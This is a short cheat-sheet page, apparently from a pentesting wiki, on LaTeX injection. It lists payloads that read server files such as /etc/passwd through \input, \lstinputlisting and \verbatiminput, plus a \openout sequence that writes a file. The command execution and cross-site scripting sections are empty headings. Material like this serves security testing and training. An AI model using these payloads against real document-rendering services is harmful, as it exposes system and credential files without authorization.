LaTex
What is LaTex ?
LaTeX is a document preparation system for high-quality typesetting. It is most often used for medium-to-large technical or scientific documents but it can be used for almost any form of publishing.
Injections
Read files
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
\lstinputlisting{/etc/passwd}
# raw files
\usepackage{verbatim}
\verbatiminput{/etc/passwd}Write file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfileCommand execution
Cross-Site Scripting
Resources
Last updated
Was this helpful?